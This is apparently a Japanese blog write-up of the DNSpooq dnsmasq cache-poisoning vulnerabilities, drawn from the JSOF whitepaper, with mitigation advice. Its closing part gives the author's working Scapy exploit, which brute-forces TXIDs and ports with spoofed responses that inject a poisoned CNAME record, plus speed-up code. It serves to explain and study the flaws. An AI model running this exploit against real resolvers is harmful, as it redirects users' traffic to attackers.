dnsmasqに限定されず多くのDNSソフトウェアに影響を与えるキャッシュポイズニングの手法としてSAD DNSというものが2020年に公開されています。こちらについては過去にブログにまとめているので、興味がある人は合わせて確認してください。好みで言うとSAD DNSはサイドチャネルを使っていて興味深くて好きです。DNSpooqは単なる実装のミスという感じなので感動するほどではないですが、とはいえそこから現実的な攻撃に持っていったのはやはり凄いですし、よく考えるなと唸る部分も多いので学んでおくと役に立つと思います。

knqyf263.hatenablog.com

以下のホワイトペーパーを読んで自分の理解をまとめたものなので、気になる箇所があれば実際に読んでみると理解が深まるかと思います。間違いがあれば指摘いただけると幸いです。

https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf

自分の仕事はDNSには全く関係ないのですが、DNSpooqを公表したJSOFはイスラエルのセキュリティ企業であり、イスラエル在住でセキュリティ企業に勤めている自分としては理解しないわけにはいかないなということで真面目にペーパーを読みました。趣味でやっていることなので正確性については何の保証もないということだけ最初に断らせていただきます。

JSOFは最近Ripple20という脆弱性も公表して話題になりましたし、NXNSAttackという別のDNSの問題を見つけたのはイスラエルのテルアビブ大学ですし、やはりイスラエルはサイバーセキュリティ強いなと感じています。SIGRedを報告したのもイスラエルのセキュリティ企業Check Pointですし、この半年ぐらいでいくつ見つけるんだという感じです。

要約

まず最初に詳細を把握するべきかどうかを知りたい人が多いかと思うので自分なりの解釈でまとめます。結論から言うと、

DNSフォワーダとして動かしているdnsmasqがWANに面している場合

は対策した方が良い可能性が高いです。そして厄介なことに直接dnsmasqを使っていなくても使っているネットワーク機器が内部的に利用している場合もあるので、影響機器一覧を見て影響を確認することをお勧めします。以下のVendorsから確認可能です。

www.jsof-tech.com

LAN内にdnsmasqがある場合でも完全に制御可能なマシンがLAN内にあれば攻撃可能ですが、企業ネットワーク等においてはその前提を満たすのは難しく、もし満たせていればその時点で他にも攻撃可能なパスが多いと思いますので、とりあえずは対象外として良いかと思います。

空港やカフェ、ホテルなど公共のネットワークにおいてはこの前提は攻撃者にとって容易に満たせると思いますので、対策推奨です。

NAT Slipstreamingと組み合わせることで攻撃が容易になると書かれているので、LAN内に攻撃者が制御可能なマシンがなくても攻撃可能になる可能性もありますが、詳細は書かれていませんしどの程度の実現性なのかは不明です。

samy.pl

WANに面している場合の説明に戻りますが、その場合は以下の2つのパターンがあります。

  1. WAN側からもDNSクエリを受け付ける場合
  2. LAN内からのみDNSクエリを受け付ける場合

1の場合は受け付ける必要がないなら設定で修正するべきですし、意図的に公開しておく必要があるならdnsmasqのバージョンを更新するのが良いと思います。

f:id:knqyf263:20210124162736p:plain
ホワイトペーパー P.3, Figure 1より引用

そして2の場合ですが、こちらも実は比較的容易に攻撃可能のためやはり更新推奨です。というのも、後述していますがブラウザから攻撃者のWebサイトを閲覧させるだけでキャッシュポイズニング出来る可能性があります。1の直接問い合わせ可能な場合と比べると難易度は上がりますが、不可能と言い切るには少し実現性が高そうと感じています。小規模ネットワークでルータがDNSフォワーダも兼ねていて内部でdnsmasqを利用している、などが想定される状況かと思います。もちろん大規模ネットワークでも上のような構成になっていれば影響を受けます。

以下に図を引用しておきます。

f:id:knqyf263:20210124163040p:plain
ホワイトペーパー P.3, Figure 1より引用

f:id:knqyf263:20210124163131p:plain
ホワイトペーパー P.3, Figure 1より引用

上の条件はDNSSECを有効にしていない場合のキャッシュポイズニングの影響の話です。割合として少ないと思うのでDNSSECが有効な場合については触れませんが、有効な場合はバッファーオーバーフローの影響を受けることになるので上記ブログなどを参照してください。

上の条件に当てはまる人は後半の対策・緩和策を見ていただければと思います。影響をきちんと理解してから対策したいという人はこのあとの詳細を読んでいただけると対策するべきかどうかの理解が深まるかもしれません。

詳細

では実際にDNSキャッシュポイズニングの脆弱性(CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)について説明していきます。

背景

DNSキャッシュポイズニングを行うためには、以下の2つを推測する必要があります。

  • TXID(transaction ID)
  • Source UDP port

正規のリクエストに対して攻撃者は偽のレスポンスを返すわけですが、その中に推測した上記の2つの値を含めます。TXIDはDNSプロトコル自体に含まれているIDで、リクエストと同じ値をレスポンスに含める必要があります。Source UDP portは名前の通りUDPのソースポート番号でこちらも当然リクエストの送信元ポート番号とレスポンスの送信先ポート番号を一致させる必要があります。

元々ランダムな値はTXIDしかなかったのですが、2008年に公開されたカミンスキーアタックによって多くのソフトウェアで推測を難しくするためにソースポート番号のランダム化が実装されました。

これらの値は両方16bitであるため、合計で32bitのランダム性があります。総当りするには現実的でない値のため、偽のレスポンスをDNSサーバに信じ込ませるというのは通常困難です。そこで、これらのエントロピーを少なくして総当りで成功しやすくする手法というのがDNSキャッシュポイズニングの主な手法になってきます。実際に上のSAD DNSではソースポート番号をサイドチャネル攻撃を使って推測し、TXIDは総当りしています。

今回のDNSpooqはdnsmasqの実装ミスによりそれぞれの空間が減ってしまっていて総当りが容易になっているというもので、やはり総当たりが前提となってきます。

前提

今回の脆弱性でキャッシュポイズニングを成功させるためには以下のいずれかの条件が必要です。

  1. dnsmasqがインターネットに公開されている

  2. dnsmasqはインターネットに公開されていないが、攻撃者はLAN内のユーザに攻撃者の管理しているWebサイトを閲覧させることができる

  3. dnsmasqはインターネットに公開されていないが、LAN内のマシンが攻撃者の支配下にある

それぞれ要約で引用している3つの図と対応しています。

論文では上のように書いていますが、自分の理解を足して補足すると2も3もdnsmasq自体はグローバルIPアドレスを持っているがクエリ自体はLANからしか受け付けないという状況と理解しています。NAT配下にあると状況が変わってしまうので、dnsmasqがDNSクエリを転送した時、ソースIPアドレスとポート番号はdnsmasqサーバのものになっている必要があるかと思います。

これらの構成の場合ははデフォルトの設定で影響を受けますし、追加で何か特別な情報を事前に得る必要もありません。攻撃対象のDNSフォワーダのIPアドレスは必要ですが、そのぐらいかと思います。注意点としては、フルサービスリゾルバではなく単にフォワーダであるという点です。dnsmasqは自分の知る限りではDNSに関してはフォワーダとしての機能しかないと思うので、使っている人であれば勘違いすることはないかと思います。自分が知らないだけでフルサービスリゾルバとしても動くよ、などあれば教えて下さい。ただ少なくともこのペーパー内ではフォワーダとして話を進めているので、今後の話はフォワーダについてだと考えてください。

それぞれについてもう少し細かく説明します。

インターネット上に公開されたdnsmasq

ホワイトペーパーから引用した図にあるように、dnsmasqがインターネットに公開されていてDNSクエリも受け付けるという状態の場合です。Shodan.io で調べたところそのような脆弱なdnsmasqサーバは100万台程度あったそうです。

また、偽レスポンスを返すためのサーバがインターネット上に必要でこちらはソースIPアドレス等を偽装できる必要があります。ソースIPアドレスを偽装できないような制限を入れているISPというのもあるのですが、まだまだそうではないISPも多いのでこれの実現は容易です。

LAN内のマシンが攻撃者の支配下にある

dnsmasqがLAN内からしかクエリを受け付けないとしても、LAN内のマシンを乗っ取っていれば今回の脆弱性を悪用することが可能です。図からも分かる通り、dnsmasq自体はインターネットに対して足を持っている必要があると考えられます。

こちらもさきほど同様、インターネット上に偽装パケットを送信できるサーバが必要です。もしLAN内のマシンを完全に乗っ取っている場合は、そちらからも偽装パケットが送信できるのでその場合はサーバが不要です。

空港やホテルなど誰でも繋げるようなネットワークでかつdnsmasqがDNSフォワーダとして動いているような場合、LAN内のマシンを乗っ取らなくても攻撃者が直接LANに繋がることができるので容易に攻撃可能です。その場合、同一ネットワーク内にいる全ユーザが汚染されたDNSキャッシュの影響を受けます。

LAN内のマシンに攻撃者管理のWebサイトを閲覧させることができる

上の状況とほぼ同じですが完全にLAN内のマシンを操作できる必要はなくて、単にLAN内のマシンから攻撃者のWebサイトをブラウザ上で閲覧させることができれば十分です。上記の2つと同様に偽装パケットが送信できるサーバがインターネット上に必要です。

そして、以下のいずれかを満たす必要があります。

この理由については後述します。そしてEdge/IEの挙動は不明らしいです。

影響

あまりDNSpooq固有の影響というわけではなくキャッシュポイズニングが可能なら一般的に可能かなという内容になっていますが、一応解説しておきます。

中間者攻撃

狙ったドメイン名を異なるIPアドレスに対して名前解決可能なので、攻撃者のサーバに誘導したりしてトラフィックを盗み見ることが可能です。HTTPSやHSTSを使っている場合は影響を受けません。

汚染拡大

これは少しDNSpooq固有の前提が関係してくるのですが、まずLAN内のdnsmasqが汚染され同時にモバイル端末のローカルキャッシュも汚染されたとします。次に異なるLANに移動した場合、汚染されたローカルキャッシュが残っているので攻撃者のサーバなどに繋ぎに行きます。それをきっかけに新しいLAN内のdnsmasqも汚染することが可能です。

ただ上に書いたように前提として、LAN内のユーザに任意のWebサイトを閲覧させたりマシンを乗っ取ったりしておく必要があるので、そもそもそれが出来るなら汚染された人が移動する必要はないような気もします。パブリックWi-Fiなどセキュリティの弱いところで汚染された人が会社などのセキュリティ固いところに繋いで汚染が拡大してしまう、ということなら分からなくはないかなという感じです。

DDoS/Reverse DDoS

大量のdnsmasqのキャッシュを汚染して攻撃者のWebサイトに誘導します。そして悪意あるJavaScriptを返してブラウザから特定の攻撃対象に対して大量の通信を送ればDDoS攻撃になります。キャッシュポイズニングできればそりゃできるよな...という内容です。

https://www.jsof-tech.com/wp-content/uploads/2021/01/%D7%AA%D7%9E%D7%95%D7%A0%D7%947.png *JSOFのブログより引用

Reverse DDoSはその逆で特定のWebサーバに対するアクセスを全て別のサーバに飛ばしてしまい、アクセスできなくさせる手法のようです。Webサイトの所有者としてはアクセスがなくなると困るのでお金を払ってReverse DDoSをやめてもらうというシナリオを想定しているようです。

https://www.jsof-tech.com/wp-content/uploads/2021/01/%D7%AA%D7%9E%D7%95%D7%A0%D7%945.png *JSOFのブログより引用

CVE-2020-25684: ポートの多重化

dnsmasqのフォワーダはDNSクエリを上流のキャッシュサーバに転送するわけですが、その時に利用されるソケットの最大数は64となっています。各ソケットはランダムなソースポート番号が使われるため、dnsmasqはソースポート番号のランダム化(Source Port Randimization, SPR)が有効になっていると言えます。TXIDと合わせると32bitのエントロピーとなるわけですが、実装の問題によりそうはなっていなかったというのがこの脆弱性です。

dnsmasqでは1つのポートを1つのTXIDと結びつけるのではなく多重化しています。ホワイトペーパーだとかなりこの部分が個人的には分かりにくかったのですが修正のコミットを見たらわかりやすかったです。

thekelleys.org.uk

上記コミットの説明にも書いてある通り、送信時のポート番号と正確に一致しなくてもlistenしているポートであればどれであっても受け入れてしまうということです。

この結果、本来であれば16bitあったソースポート番号のエントロピーが6bit(=64)減ってしまうことになります。TXIDと合わせると32bitが26bitまで減ります。とはいえ26bitというのはまだ十分に総当りが困難で、現実的な脅威にはなりません。DNSキャッシュポイズニングを行うためには正規のレスポンスが返ってくる前に偽のレスポンスを送りつける必要があり攻撃できる時間はかなり限られているためです。

ですが、後述の脆弱性と組み合わせることで現実的な攻撃に落とし込んでいます。

CVE-2020-25685: 脆弱なCRC32の利用

DNSpooqの中だと一番面白い脆弱性かと思います。

dnsmasqがクエリを転送する際、まだ返答の来てないクエリは最大で150まで転送されます。150に到達したら一つ返ってくればまた一つ転送できるようになり...という形で管理されています。

繰り返し述べているようにレスポンスに含まれるTXIDはリクエスト時のTXIDと等しい必要があります。もちろん単にTXIDが等しければよいというわけではなくてQuestionセクションも等しい必要があります。このQuestionセクションはどのようなドメイン名のどのようなレコードタイプ・クラスを問い合わせていたか、というものが含まれています。例を上げると www.example.com A IN のようなものです。dnsmasqではQuestionセクションの検証のためにこれらの値をそのまま用いるのではなくハッシュを用います。

Questionセクションの値をつなぎ合わせた値のハッシュを取り、そのハッシュ値だけを保持します。そしてレスポンスから得られたハッシュ値と比較して一致するか検証します。

DNSSECが有効になっていない場合、CRC32がハッシュ関数として用いられます。

CRC32(b"www.bank.com\x00\x01\x00\x01")

問題は、CRC32は暗号的に安全なハッシュ関数ではないということです。攻撃者は特定のドメイン名のCRC32と等しいドメイン名を多数作り出すことができるため、それらのドメイン名をレスポンスとして返してもdnsmasqは受け入れてしまいます。

言葉だとわかりにくいと思うのでペーパー上の図を見てみます。

f:id:knqyf263:20210124165138p:plain
ホワイトペーパー P.5, Figure 2より引用

まず攻撃者はクライアントにCRC32が同一となるような複数のドメイン名に対するクエリを発行させます。この例だと mwynqabc.attacker.comidigvuo.attacker.com などです。これらのクエリに対して攻撃者は malicious.attacker.comドメイン名とそのリソースレコードを返します。すると全てのドメイン名のCRC32の値は等しくなるようにしてあるため(例では 0x3fd447f4 )、リクエストでは mwynqabc.attacker.com を問い合わせていたのに malicious.attacker.com のレスポンスを受け入れてしまうということが起きてしまいます。

何が嬉しいのかと言うと、それぞれに個別のTXIDが振られるという点です。150クエリまで同時に転送されるため、150のTXIDが同一のCRC32となるドメイン名それぞれに作られます。しかし攻撃者はそのいずれかのTXIDを推測できればdnsmasqはレスポンスを受け入れるため、本来16bitの中から1つを推測する必要があったのに16bitの中から150のいずれかを引き当てれば良くなります。つまりエントロピーは 216/150 になります。

ちなみにDNSSECが有効になっている場合、SHA-1が使われます。SHA-1の衝突攻撃については2017年に発表されましたが、今回の攻撃では少なくとも150個程度を衝突させる必要があり現時点では現実的には難しいとされています。

CVE-2020-25686: 同一ドメイン名に対する複数クエリ発行

基本的な考え方は上の脆弱性と同じなのですが、dnsmasqでは同一ドメイン名のクエリが複数同時に来た場合、全てを通常通り転送してしまいます。そしてレスポンスはそれらのうちどれか一つと一致すればよいため、上と同様の攻撃が可能になります。ドメイン名がそもそも等しくハッシュ値は必ず等しくなるため、仮に安全なハッシュ関数を利用していてもこの攻撃は刺さります。つまり、同一ドメイン名に対するクエリ(例えば仮に malicious.attacker.com )を150個投げるとそれぞれにTXIDが振られるため、攻撃者は malicious.attacker.com のレスポンスを総当りで返して150個のいずれかにヒットすればdnsmasqはそれを受け入れます。

f:id:knqyf263:20210124170545p:plain

上の図ではTXIDを連番にしていますが、実際にはランダムな数値で150個です。

衝突させる必要がないため脆弱なCRC32を利用した上の方法よりも容易なのですが、一部のスタブリゾルバ(ブラウザなど)では重複したDNSクエリが一気に送られないように重複排除する仕組みが入っておりこの方法は動きません。そのような場合は上のCRC32の方法を使い、重複排除が入っていない場合はこちらの手法を使うことができます。

説明を聞いて既に理解しているかと思いますが、併用できるものではなくいずれかの手法だけが有効でエントロピーを150減らすことが出来ます。CVE-2020-25684と合わせると150*64減らすことが出来ます。元々あった32bitから19bit程度まで削減することが出来て、50万クエリ程度でキャッシュポイズニングが可能になってしまいます。これは十分現実的な数で、ネットワークの状況にもよるが数秒か5分程度以内で送信完了できるとしています。さらにいくつかの最適化によりほとんどの場合では1分以内に攻撃が実現可能と主張しています。

DNSフォワーダにおけるレスポンスの未検証

脆弱性の話として面白いのは上の部分ですが、実害として大きいのはこちらの問題かと思います。dnsmasqではCNAMEを悪用することで不正なレコードを注入することが出来ます。仮に www.example.comのAレコードを問い合わせたとして攻撃者が以下のレスポンスを返したとします。

www.example.com    CNAME    www.bank.com
www.bank.com       A        6.6.6.6

BINDはこのような場合、 www.bank.com のレコードをキャッシュせず正しいものかどうか再度上流に問い合わせて検証します。一方、dnsmasqはレスポンスの検証はせずにこの値をそのまま受け入れます。しかしJSOFによればこの挙動自体は脆弱性ではなく合理的としています。というのは、DNSフォワーダの役割を考えた場合、フルサービスリゾルバから返ってきた返答が返ってくるわけですがフルサービスリゾルバ側で既に繰り返し問い合わせているはずだからです。もしDNSフォワーダで再度再帰で問い合わせるとなった場合、多くの無駄が生じます。そのため、DNSフォワーダにおいてそのまま受け入れるのは特におかしいことではないと説明されています。

f:id:knqyf263:20210124171228p:plain

とにかくdnsmasqでは上記のような場合に www.bank.com は6.6.6.6であると信じてしまうため、実際には誤りであってもそのレコードをキャッシュに注入します。CNAMEには最大10個まで同時に入れることが出来るため、最初の一つは問い合わせられたドメイン名と一致させるとして残りの9個は好きなドメイン名を入れることが出来ます。つまり上の手法を使ってキャッシュポイズニングをする場合、好きなドメイン名を一気に9個汚染することが出来ます。TTLに関わらず既存のキャッシュも上書きできるため、既にレコードがキャッシュ内にあったとしても防ぐことは出来ません。

CNAMEを無条件に信じちゃうなら、そもそも attacker.com を解決させてCNAMEに google.com とか入れておけば汚染し放題だしTXIDの推測とか必要なくない?と思ったのですが、これは恐らくフォワーダは上流のフルサービスリゾルバを信頼しており、そのフルサービスリゾルバでレスポンス検証を行っているので汚染されたCNAMEは返ってこないという前提があるのかなと思います。

f:id:knqyf263:20210124171647p:plain

つまりGoogleのPublic DNS8.8.8.8 )などを上流として指定している場合は攻撃者の権威サーバから汚染されたレコードを返しても 8.8.8.8 で浄化されてフォワーダに返ってきてしまうので攻撃が刺さらないのかなと考えています。そのため、 8.8.8.8 から返ってくる前にソースポート番号とTXIDを推測した偽装パケットを送りつけてフォワーダを信じさせる必要があります。

組み合わせる

では実際に上で説明した脆弱性を組み合わせて攻撃につなげるまでの手順を説明します。今回はdnsmasqがLAN内からのクエリしか受け付けずかつ攻撃者はLAN内のマシンを支配下に置いている、または攻撃者のWebサイトを閲覧させることが出来るという条件における攻撃手順になります。

ドメイン名の登録

CNAMEを使って汚染していくわけですが、その元となるドメイン名は必要になるため attacker.com を最初に取得して権威サーバも立てておきます。

ソースIPアドレスの偽装

上でも説明しましたが、偽装パケットが送出可能なISPを見つけて(現時点では簡単に見つかります)その中でサーバを借りれば準備OKです。LAN内に完全にコントロール可能なマシンがある場合はそこからソースIPアドレスを偽装したパケットが送れるのでこちらは不要になります。

CRC32の衝突

既に説明した通り、DNSSECが有効でない場合はカスタムしたCRC32がリクエスト/レスポンスの検証に使われます。 www.bank.com のAレコードINクラスの場合は以下のようになります。

CRC32(b"www.bank.com\x00\x01\x00\x01")

ここでCRC32の特徴として、 CRC32(x) = CRC32(y)となるようなxとyがある場合、それらに共通のサフィックスをつけてもCRC32の値は等しくなります。 CRC32(x||s) = CRC32(y||s)

つまり、 malicious.attacker.com のAレコードINクラスと衝突させたければ attacker.comサブドメインとして使う前提であれば malicious という文字列とCRC32が等しくなる文字列を探せばよいということになります。それ以降のサフィックスがすべて等しいためです。これはSMTソルバのZ3を使えば見つけることが出来ます。見つかった文字列のうち、ASCII文字列やドットのみを含みドメイン名としてふさわしい文字列を選びます。

この方法で malicious と等しい300,000程度の文字列を見つけたとのことです。1回の試行あたり150以上あれば良いので十分すぎる量です。時間内に刺さらなかった場合は別の150を使う必要があるので多ければ多いほど良いです。

攻撃の流れ

DNSフォワーダとして動くdnsmasqが入っているやられマシンと2つのサーバを用意します。一つはLAN内で、もう一つはインターネット上に置きます。LAN内のサーバは上で得た300,000のドメイン名の中から適当に選んでDNSクエリを送ります。これらは同時に送って150のクエリがdnsmasq上でレスポンス待機中の状態にします。説明したようにソケットの最大数がデフォルトでは150ですが、設定により異なる場合はその上限まで送ります。

そしてdnsmasqが上流のキャッシュサーバ(例えば 8.8.8.8 など)にクエリを転送している間に、インターネット上にあるサーバから偽装レスポンスをdnsmasqに大量に送りつけます。 8.8.8.8 から正規のレスポンスが返ってくる前にdnsmasqに受け入れられる必要があるため時間はシビアです。しかし正規のレスポンスが遅く返ってくれば攻撃のチャンスは広がります。レスポンスを遅くさせるために以下のような工夫をしています。

  1. 常に異なるドメイン名を使う
    • ネガティブキャッシュなどにヒットしてすぐ返ってしまうと困るため、300,000の中から同じものを使わないようにDNSクエリを送信していきます。
  2. 存在しないドメイン名を使う
    • キャッシュにヒットしてしまっても困りますし、毎回攻撃者の権威サーバに問い合わせて欲しいため攻撃者が管理しているゾーンかつ存在しないサブドメイン名を使うと良いです。
  3. 権威サーバのレスポンスをできるだけ遅らせる
    • 今回の攻撃ではキャッシュサーバは攻撃者が管理している権威サーバに問い合わせることになるため、レスポンスを遅くすればそれだけdnsmasqへのレスポンスも遅くなります。今回の実験ではシンプルに権威サーバを落としたようです。

これらをすることで2秒程度は時間を稼げるようです。レスポンスを遅くするというのはDNSキャッシュポイズニングではセットとしてついてくるものでSAD DNSの論文でも手法の一つが説明されています。ただしこちらは攻撃者が管理している権威サーバに問い合わさせることが可能ですし、存在しないドメイン名も使えるためSAD DNSの手法よりはコントロールが容易かと思います。

攻撃は数秒から5分未満で終わるため、2秒は攻撃を成功させるのに十分な時間であるとのことです。後述してますが実験した限りだと2秒はあまり十分な感じがしませんが、必ずしも一発で成功させる必要はないと考えれば十分なのかもしれません。

ブラウザからの攻撃

上の例ではLAN内のマシンから大量にDNSクエリを送っていましたが、ブラウザからでも同じことが可能です。まず攻撃者のWebサイトにアクセスさせてJavaScriptを実行させます。このJavaScriptではAJAXを使って大量のDNSクエリを送信します。iOSSafariでテストしたところ十分な量のDNSクエリが送信可能だったということです。ただしAとAAAAレコードを問い合わせてしまうため、上限の150ではなく75までしか同時に問い合わせることが出来ず成功確率は少し下がります。レコードタイプはハッシュ計算の時に含まれているため、CRC32が一致しなくなってしまうためです。

Firefox拡張機能を使えば出来そうだが未検証とのこと。

そしてChromeですが、一定期間に送出できるDNSクエリの数が制限されているようです。そのため1台のマシンからだと150に達するほどのDNSクエリが送れないため攻撃が難しいですが、複数マシンを使うことで実現可能です。

検証端末

dnsmasqは2.78-2.82のバージョンで検証し、それら全てが今回の脆弱性の影響を受けたとのことです。さらにCisco RV 160WやOpenWRT 18.06/19.07なども脆弱であることが分かりました。Netgear R7000やCheck Point 1500 V-80はキャッシュ機能が無効になっており脆弱性の影響は受けなかったとのことです。DNSSECが有効であればCRC32の脆弱性を悪用するのは難しいわけですが、今回の検証端末全てでDNSSEC無効の状態でコンパイルされていたとのことです。表を引用しておきます。

f:id:knqyf263:20210124172535p:plain
ホワイトペーパー P.8, Table 2より引用

攻撃の成功確率

詳細は割愛しますが、攻撃に2秒間の猶予があるとして90バイトのパケットを100Mbpsのネットワーク上で大量に送る場合、291,270パケットを送ることが出来ます。そのうち、19it程度のエントロピーを持つTXIDとソースポート番号に一致する確率は約50%とのことです。つまり攻撃を仕掛ければ2回に1回は毒を入れられることになります。

実際にはインタフェース側でパケットがドロップされてしまったりしてこれほど理想的にパケットを送ることは出来ないはずですが、より太い回線でより速く送れる可能性もありますし、十分現実的な攻撃と言えるかと思います。

PoC

ホワイトペーパーでしっかり説明してくれているので自分でExploitを書いてみました。実は何か特別なことをしているわけではなく、単に大量のUDPパケットを送ってTXIDとソースポート番号を総当りするだけです。なのでPoCは公開しても問題ないかと考え下記で公開しています。

github.com

検証環境のdocker-compose.ymlも同梱しているので試したい人はすぐ試せるようにしてあります。

工夫としてはCVE-2020-25685またはCVE-2020-25686を使ってTXIDを増やしヒットする可能性を増やす点です。ホワイトペーパー内では脆弱なCRC32を使って衝突するドメイン名を事前に用意して攻撃していましたが、今回のPoCでは単に同じドメイン名に関するクエリを大量に飛ばしています。ブラウザなどで制限が入っていない場合はそれで十分です。

ソースポート番号についてはクエリを大量に送れば分散してくれるのであまり意識しなくても良いです。

docker-composeで3つのコンテナが立ち上がりますが、それぞれ以下の図のような関係になっています。

f:id:knqyf263:20210124172920p:plain

それぞれについて解説します。

fowarder

forwarderコンテナにdnsmasqの2.82がインストールされています。そしてforwarderに対して大量のDNSクエリを送信します。この際、CVE-2020-25686を悪用したいので全て同じドメイン名にします。今回のPoCでは example.com としています。LAN内のマシンにDNSクエリを送らせることもできますが、今回は簡単のため攻撃者が直接DNSクエリを発行しています。dnsmasqがWANからのクエリを受け付ける場合は今回と似た環境になるはずです。

そしてforwarderは example.com のレコード及びキャッシュを持っていないので上流のDNSサーバに転送します。dnsmasqでは以下のように設定しているため、10.10.0.4のIPアドレスを持つcacheに転送されます。

$ cat dnsmasq.conf
log-queries
no-resolv

server=10.10.0.4

ここは通常ISPDNSサーバやGoogle Public DNSなどを指定しますが、今回は構成を簡単にするためにローカルのコンテナを指定しています。

そしてデフォルトだとタイムアウトが10秒で4回再送されるため合計40秒程度なのですが、実験の成功率を上げるために値を大きくしておきます。コンパイル時にしか直せないようなので src/config.h の値を書き換えます。

sed -ie 's/TIMEOUT 10/TIMEOUT 1800/' src/config.h

lists.thekelleys.org.uk

さらに成功率を上げたければクエリの同時最大転送数の値や利用されるポートの値を大きくしても良いと思います。手元で試した限りではデフォルトの値でも数分以内に成功していたので変えなくても大丈夫そうでした。

sed -ie 's/FTABSIZ 150/FTABSIZ 1500/' src/config.h
sed -ie 's/RANDOM_SOCKS 64/RANDOM_SOCKS 500/' src/config.h

cache

そしてcacheはforwarderから転送されたDNSクエリが飛んでくるわけですが、特に何もしません。デバッグがしやすいように以下のようなコードでソースポート番号やTXIDを表示しておきます。

#!/usr/bin/python

from scapy.all import *

def packet_handler(pkt):
    if pkt.haslayer(DNSQR) and pkt.haslayer(UDP):
        print(f"Source port: {pkt[UDP].sport}, TXID: {pkt[DNS].id}, Query: {pkt[DNSQR].qname}")

print("Sniffing...")
sniff(filter="udp port 53 and ip src 10.10.0.2", prn=packet_handler)

ここでもしすぐに返してしまうと攻撃するチャンスが減ってしまうため、何もしないほうが良いです。現実の環境でには8.8.8.8に転送されその後攻撃者の権威サーバに問い合わせられるので、そこでわざとレスポンスを遅らせる必要がありますが正規のドメイン名を取得して権威サーバ用意するのは大変なので簡易的に上記の構成としています。ただし、権威サーバで意図的に遅らせたとしても8.8.8.8はタイムアウトしてすぐにforwarderにレスポンスを返すと思うので今回の実験ほど攻撃者に猶予はないと思います。ペーパー内では攻撃ウィンドウは2秒程度と書いていました。今回の実験では上で設定した1800秒待ってくれるので十分な時間があります。

attacker

そして最後は肝心の攻撃用コンテナです。

大量クエリの送信

まずdnsmasqに多くのポートを使わせつつ多くのTXIDを発番させる必要があるため、同一ドメイン名に対するクエリをforwarderに向けて同時送信します。TXIDを固定にしてクエリを投げたらたくさん投げてもうまく転送してくれなかったので、idは変化させています。デフォルトでは最大150個までしかクエリを転送してくれないので、150回クエリを投げています。

# DNS query
qd = DNSQR(qname="example.com", qtype="A", qclass='IN')
req = IP(dst="10.10.0.2") / UDP(dport=53) / DNS(id=0, rd=1, qd=qd)
dns_layer = req[DNS]

# socket
s = conf.L3socket(iface="eth0")

print("Querying non-cached names...")
for i in range(150):
    dns_layer.id = i
    s.send(req)

愚直にsendで書いたら遅すぎてうまく刺さらなかったのですが、事前にパケットとsocketは用意しておいて使い回すようにしたら大分速くなりました。ただ後述しますが、もっと工夫すればもっと速く出来ます。

偽装レスポンスの送信

そしてcacheからのレスポンスに見せかけてforwarderにDNSレスポンスを送りつけます。この際、ソースポート番号を推測して送信先のポート番号に設定する必要があります。これは何の工夫もなく全てのポートを総当りします。実際には1024番以下はエフェメラルポートで試す必要がないので、1025番以上だけで良いです。そしてTXIDも推測する必要があるので総当りします。

まずはベースとなるパケットを組み立てます。

res = Ether() / \
      IP(src="10.10.0.4", dst="10.10.0.2") / \
      UDP(sport=53, dport=0) / \
      DNS(id=0, qr=1, ra=1, qd=qd,
          an=DNSRR(rrname="example.com", ttl=900, rdata="google.com", type="CNAME", rclass="IN") /
             DNSRR(rrname="google.com", ttl=900, rdata="169.254.169.254", type="A", rclass="IN"))
dns_layer = req[DNS]
udp_layer = req[UDP]

上の例では example.com のクエリに対してCNAMEで google.com を返し、 google.com169.254.169.254 というIPアドレスであるという毒を入れています。CNAMEのchainは最大10なので、既に説明したように同様の方法で他に9個まで毒を入れられます。そこまでは自分は試していないので、誰か興味あればやってみてください。

あとでDNSのTXIDとUDP送信先ポート番号を変えたいので dns_layerudp_layer を用意しています。

あとはこれを総当りすれば良いので、雑に以下のように実装しました。

# brute force: txid * source port
txids = range(1, 2**16)
sports = range(1025, 2**16)
candidates = itertools.product(txids, sports)

# socket
s = conf.L3socket(iface="eth0")

for txid, sport in candidates:
    # Update TXID and UDP dst port
    udp_layer.dport = sport
    dns_layer.id = txid
    s.send(res)

短いコードなので簡単に理解できると思いますが、上で作ったベースとなるパケットのTXIDとdportを変化させつつひたすらにパケットを投げ続けています。

高速化の話

実は上のコードだと遅すぎて全然刺さりませんでした。事前にパケットの配列にしておいてsendに渡すとか工夫してみたのですが内部的には単にfor文を回していたのでダメでした。そもそも32bit個あるペアを全て事前にメモリに持とうとするとメモリ不足で死にます。決められた数ずつ区切って...とか他にも工夫してみましたがやはり遅かったです。

色々調べていたところ、ありがたいことにやはりパケットのバイト列にエンコードする部分が遅いということを突き止めた人がいて、事前に raw() を呼んでバイト列にしておけば十分速いということが分かりました。TXIDとdportの値を変更する必要がありますが、前半のヘッダ部分は固定長なので簡単に差し替え可能ですしUDPチェックサムさえ計算してしまえばバイト列のまま新しいパケットを作れます。Scapyは抽象化されていて便利ですが、やはり時には生のパケットを触る必要があるということですね。ですがありがたいことにchecksum関数もScapyから既に提供されているのでほとんど労力なく再計算可能です。

以下のように37, 38バイト目がdst portになっているのでネットワークバイトオーダーにして入れてあげて、TXIDも同様に43, 44バイト目に入れてあげます。あとはチェックサムを再計算して41, 42バイト目に入れればOKです。

def patch(dns_frame: bytearray, pseudo_hdr: bytes, dns_id: int, dport: int):
    # set dport
    dns_frame[36] = (dport >> 8) & 0xFF
    dns_frame[37] = dport & 0xFF

    # set dns_id
    dns_frame[42] = (dns_id >> 8) & 0xFF
    dns_frame[43] = dns_id & 0xFF

    # reset checksum
    dns_frame[40] = 0x00
    dns_frame[41] = 0x00

    # calc new checksum
    ck = checksum(pseudo_hdr + dns_frame[34:])
    if ck == 0:
        ck = 0xFFFF
    cs = struct.pack("!H", ck)
    dns_frame[40] = cs[0]
    dns_frame[41] = cs[1]

上で作ったベースとなるパケットを raw() に渡してバイト列にしておけば準備は完了です。

# optimization
dns_frame = bytearray(raw(res))
pseudo_hdr = struct.pack(
    "!4s4sHH",
    inet_pton(socket.AF_INET, res["IP"].src),
    inet_pton(socket.AF_INET, res["IP"].dst),
    socket.IPPROTO_UDP,
    len(dns_frame[34:]),
)

あとはforの中で patch() を呼んで事前に作っておいたsocketでsendすれば良いです。既にバイト列(dns_frame)になっているのでL3socketではなくL2socketを使う必要があります。

s = conf.L2socket(iface="eth0")
for txid, sport in candidates:
    # update TXID and UDP dst port
    patch(dns_frame, pseudo_hdr, txid, sport)
    s.send(dns_frame)

